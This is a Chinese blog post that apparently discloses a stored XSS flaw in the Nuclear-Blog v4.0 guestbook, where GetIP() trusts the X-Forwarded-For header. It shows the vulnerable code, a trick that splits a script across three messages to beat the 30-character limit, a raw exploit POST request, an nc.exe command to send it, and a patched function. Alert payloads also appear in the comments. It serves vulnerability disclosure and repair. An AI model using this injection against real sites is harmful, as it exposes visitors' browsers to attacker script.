Nuclear-Blog v5.0 马上就发布了,我就把这个 Nuclear-Blog v4.0 留言板的 XSS 漏洞,公布了吧。

其实此漏洞,在当时发布 Nuclear-Blog v4.0 源码的当天,就被发现了,发现的人是t00ls某核心,然后我直接补了,但是网盘下载的依然没补,所以目前市面上所有 Nuclear-Blog v4.0 均存在此漏洞,不知道有没有别人发现。

这是一个XSS漏洞,这个漏洞纯属是我的疏忽,漏洞在文件“liuyan/liuyan.asp”,看代码。

liuyan/liuyan.asp,第 113 行:

…… 以上省略 ……

Function GetIP() '绕过代理获取真实IP
Dim StrIPAddr 
If Request.ServerVariables("HTTP_X_FORWARDED_FOR") = "" OR InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), "unknown") > 0 Then 
    StrIPAddr = Request.ServerVariables("REMOTE_ADDR") 
        ElseIf InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ",") > 0 Then 
    StrIPAddr = Mid(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), 1, InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ",")-1) 
        ElseIf InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ";") > 0 Then 
    StrIPAddr = Mid(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), 1, InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ";")-1) 
Else 
    StrIPAddr = Request.ServerVariables("HTTP_X_FORWARDED_FOR") 
End If 
GetIP = Trim(Mid(StrIPAddr, 1, 30))
End Function

…… 以下省略 ……

漏洞产生原因:

这段代码看似正常,这段代码的功能是绕过代理获取用户真实IP,漏洞产生在函数“Request.ServerVariables("HTTP_X_FORWARDED_FOR")”。

这个函数取到的值是从客户端发送的HTTP头取到的,所以 HTTP_X_FORWARDED_FOR 可以使用http头伪造IP地址!当然也可以放其他的内容,漏洞就这样产生了。

这个其实很早以前学习Asp的时候,我就知道了,但不知为什么,当时抽风,居然用了这个函数,还没检查,我去……

类似这种函数的有很多,就不一一解释了,总之漏洞就是这么产生的。

但是这有个问题,看底下的蓝色部分,数据的长度被限制为 1-30 个字符,所以想插入XSS代码,有点操蛋,长度太短了,小于 30 个字符的 JavaScript 代码貌似没有 (<script>alert(/xss/)</script> 正好三十个字符) ……

呵呵,不过这个稍微动点脑子就可以了,先发一条留言,插入:*/</script>,再发一条留言插入:*/alert(/xss/);/*,最后再发一条留言插入:<script>/*,由于留言显示的方式是倒叙的,所以最后的显示代码就是:

…… 省略 Html 代码 ……

<script>/*

…… 省略 Html 代码 ……

*/alert(/xss/);/*

…… 省略 Html 代码 ……

*/</script>

…… 省略 Html 代码 ……

所有 /* 和 */ 之间的代码全就被注释掉了(/* html代码中的注释符号 */),这样 JavaScript 代码就完美的闭合了,然后你想插入多少代码都没问题,都可以执行,长度限制就毫无作用了,最重要的是 Firefox 和 IE 全都支持,实例代码如下:

<TABLE BORDER=2 WIDTH=500 borderColorDark=#808080 borderColorLight=#808080>
  <TR>
    <TD WIDTH=20%><TABLE WIDTH=100% BORDER=1 borderColorDark=#808080 borderColorLight=#808080>
        <TR valign="middle">
          <TD align="center"><img src="../../image/face/1.gif"/></TD>
        </TR>
        <TR valign="middle">
          <TD align="center"><b>镖镇王大侠</b></TD>
        </TR>
      </TABLE></TD>
    <TD><TABLE width=100% height="100%" BORDER=1 borderColorDark=#808080 borderColorLight=#808080>
        <TR>
          <TD width="20%">ID:2</TD>
          <TD width="45%">时间:2011-06-30 17:09:09</TD>
          <TD width="35%">IP:<script>/*</TD>
        </TR>
        <TR>
          <TABLE width=100% height="100%" BORDER=1 borderColorDark=#808080 borderColorLight=#808080>
            <TR>
              <TD height="80" valign="top">留言内容:<br>
                &nbsp;&nbsp;&nbsp;&nbsp;    大路朝天,各走一边。今个儿路过贵地,还希望各位当家的行个方便。(400字以内)</TD>
            </TR>
            <TR>
              <TD valign="top">管理回复:<br>
                &nbsp;&nbsp;&nbsp;&nbsp;</TD>
            </TR>
          </TABLE>
        </TR>
      </TABLE></TD>
  </TR>
</TABLE>
<br>
<TABLE BORDER=2 WIDTH=500 borderColorDark=#808080 borderColorLight=#808080>
  <TR>
    <TD WIDTH=20%><TABLE WIDTH=100% BORDER=1 borderColorDark=#808080 borderColorLight=#808080>
        <TR valign="middle">
          <TD align="center"><img src="../../image/face/1.gif"/></TD>
        </TR>
        <TR valign="middle">
          <TD align="center"><b>镖镇王大侠</b></TD>
        </TR>
      </TABLE></TD>
    <TD><TABLE width=100% height="100%" BORDER=1 borderColorDark=#808080 borderColorLight=#808080>
        <TR>
          <TD width="20%">ID:2</TD>
          <TD width="45%">时间:2011-06-30 17:09:09</TD>
          <TD width="35%">IP:*/alert(/xss/);/*</TD>
        </TR>
        <TR>
          <TABLE width=100% height="100%" BORDER=1 borderColorDark=#808080 borderColorLight=#808080>
            <TR>
              <TD height="80" valign="top">留言内容:<br>
                &nbsp;&nbsp;&nbsp;&nbsp;    大路朝天,各走一边。今个儿路过贵地,还希望各位当家的行个方便。(400字以内)</TD>
            </TR>
            <TR>
              <TD valign="top">管理回复:<br>
                &nbsp;&nbsp;&nbsp;&nbsp;</TD>
            </TR>
          </TABLE>
        </TR>
      </TABLE></TD>
  </TR>
</TABLE>
<br>
<TABLE BORDER=2 WIDTH=500 borderColorDark=#808080 borderColorLight=#808080>
  <TR>
    <TD WIDTH=20%><TABLE WIDTH=100% BORDER=1 borderColorDark=#808080 borderColorLight=#808080>
        <TR valign="middle">
          <TD align="center"><img src="../../image/face/1.gif"/></TD>
        </TR>
        <TR valign="middle">
          <TD align="center"><b>镖镇王大侠</b></TD>
        </TR>
      </TABLE></TD>
    <TD><TABLE width=100% height="100%" BORDER=1 borderColorDark=#808080 borderColorLight=#808080>
        <TR>
          <TD width="20%">ID:2</TD>
          <TD width="45%">时间:2011-06-30 17:09:09</TD>
          <TD width="35%">IP:*/</script></TD>
        </TR>
        <TR>
          <TABLE width=100% height="100%" BORDER=1 borderColorDark=#808080 borderColorLight=#808080>
            <TR>
              <TD height="80" valign="top">留言内容:<br>
                &nbsp;&nbsp;&nbsp;&nbsp;    大路朝天,各走一边。今个儿路过贵地,还希望各位当家的行个方便。(400字以内)</TD>
            </TR>
            <TR>
              <TD valign="top">管理回复:<br>
                &nbsp;&nbsp;&nbsp;&nbsp;</TD>
            </TR>
          </TABLE>
        </TR>
      </TABLE></TD>
  </TR>
</TABLE>
Exp:

POST /liuyan/liuyan.asp?save HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*
X-Forwarded-For: Hello World!
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
Host: 127.0.0.1
Content-Length: 324
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: AJSTAT_ok_times=1; TLWNHIRSISRTUNOJIKUD=RDHRHVSXNBYEHUFEPSYNZLOGLGBEJQEPROBCUOEL

UserPic=..%2Fimage%2Fface%2F1.gif&mingzi=%EF%DA%D5%F2%CD%F5%B4%F3%CF%C0&liuyan=++++%B4%F3%C2%B7%B3%AF%CC%EC%A3%AC%B8%F7%D7%DF%D2%BB%B1%DF%A1%A3%BD%F1%B8%F6%B6%F9%C2%B7%B9%FD%B9%F3%B5%D8%A3%AC%BB%B9%CF%A3%CD%FB%B8%F7%CE%BB%B5%B1%BC%D2%B5%C4%D0%D0%B8%F6%B7%BD%B1%E3%A1%A3%28400%D7%D6%D2%D4%C4%DA%29&ok=%CC%E1%BD%BB%CA%FD%BE%DD

啥?不知道咋用???? Look → Nc.exe -vv lcx.cc 80<Exp.txt,你懂得。。。

修复方案,直接替换 GetIP() 整个函数即可,或者干脆升级到 v5.0 吧:

Function GetIP() '获取IP
Dim Tmp
Tmp = Request.ServerVariables("REMOTE_ADDR") 
IF Len(Tmp) < 7 Then Response.End
IF Len(Tmp) > 15 Then Response.End
IF InStr(Tmp, "'") > 0 Then Response.End
IF InStr(Tmp, """") > 0 Then Response.End
IF InStr(Tmp, "<") > 0 Then Response.End
IF InStr(Tmp, ">") > 0 Then Response.End
GetIP = Server.HtmlEncode(Tmp)
End Function

留言评论(旧系统):

佚名 @ 2013-08-03 09:12:35

我发现在用鼠标轮滚动看这个页面的时候彩色字体由浅变深 笔记本屏幕 、、?

本站回复:

这种现象一般是由于屏幕动态色彩还原能力较差引起的,红色最明显。

佚名 @ 2013-11-15 20:22:54

/* 哈哈

本站回复:

<script>alert(/哈哈/);</script>

佚名 @ 2013-11-15 20:25:18

*/ 嘿嘿

本站回复:

<script>alert(/嘿嘿/);</script>

qwer @ 2013-12-09 12:07:30

<script>alert("wack")</script>

本站回复:

<script>alert("yoo~")</script>

Ra1nShine @ 2014-08-15 15:34:01

核总啊,看着6.0我都馋了^_^ 啥时候开源呢?

本站回复:

过段时间吧,蛋疼~暂时没有开源计划~

php09 @ 2015-04-03 14:14:39

现在可以给个友链了吧 都三个月了 上次你说的 运行3个月再来 www.php09.com

本站回复:

链接已做好,不过,你站三个月一篇文章都没更新?